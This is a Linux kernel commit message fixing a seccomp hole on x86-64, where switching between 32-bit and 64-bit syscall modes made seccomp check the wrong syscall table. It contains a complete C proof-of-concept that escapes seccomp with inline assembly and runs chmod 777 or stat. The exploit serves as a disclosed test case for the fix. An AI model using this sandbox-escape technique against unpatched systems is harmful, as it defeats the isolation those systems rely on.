• Roland McGrath's avatar
    x86-64: seccomp: fix 32/64 syscall hole · 5b101740
    Roland McGrath authored
    On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
    ljmp, and then use the "syscall" instruction to make a 64-bit system
    call.  A 64-bit process make a 32-bit system call with int $0x80.
    
    In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
    the wrong system call number table.  The fix is simple: test TS_COMPAT
    instead of TIF_IA32.  Here is an example exploit:
    
    	/* test case for seccomp circumvention on x86-64
    
    	   There are two failure modes: compile with -m64 or compile with -m32.
    
    	   The -m64 case is the worst one, because it does "chmod 777 ." (could
    	   be any chmod call).  The -m32 case demonstrates it was able to do
    	   stat(), which can glean information but not harm anything directly.
    
    	   A buggy kernel will let the test do something, print, and exit 1; a
    	   fixed kernel will make it exit with SIGKILL before it does anything.
    	*/
    
    	#define _GNU_SOURCE
    	#include <assert.h>
    	#include <inttypes.h>
    	#include <stdio.h>
    	#include <linux/prctl.h>
    	#include <sys/stat.h>
    	#include <unistd.h>
    	#include <asm/unistd.h>
    
    	int
    	main (int argc, char **argv)
    	{
    	  char buf[100];
    	  static const char dot[] = ".";
    	  long ret;
    	  unsigned st[24];
    
    	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
    	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
    
    	#ifdef __x86_64__
    	  assert ((uintptr_t) dot < (1UL << 32));
    	  asm ("int $0x80 # %0 <- %1(%2 %3)"
    	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
    	  ret = snprintf (buf, sizeof buf,
    			  "result %ld (check mode on .!)\n", ret);
    	#elif defined __i386__
    	  asm (".code32\n"
    	       "pushl %%cs\n"
    	       "pushl $2f\n"
    	       "ljmpl $0x33, $1f\n"
    	       ".code64\n"
    	       "1: syscall # %0 <- %1(%2 %3)\n"
    	       "lretl\n"
    	       ".code32\n"
    	       "2:"
    	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
    	  if (ret == 0)
    	    ret = snprintf (buf, sizeof buf,
    			    "stat . -> st_uid=%u\n", st[7]);
    	  else
    	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
    	#else
    	# error "not this one"
    	#endif
    
    	  write (1, buf, ret);
    
    	  syscall (__NR_exit, 1);
    	  return 2;
    	}
    Signed-off-by: default avatarRoland McGrath <roland@redhat.com>
    [ I don't know if anybody actually uses seccomp, but it's enabled in
      at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
    Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
    5b101740
compat.h 4.96 KB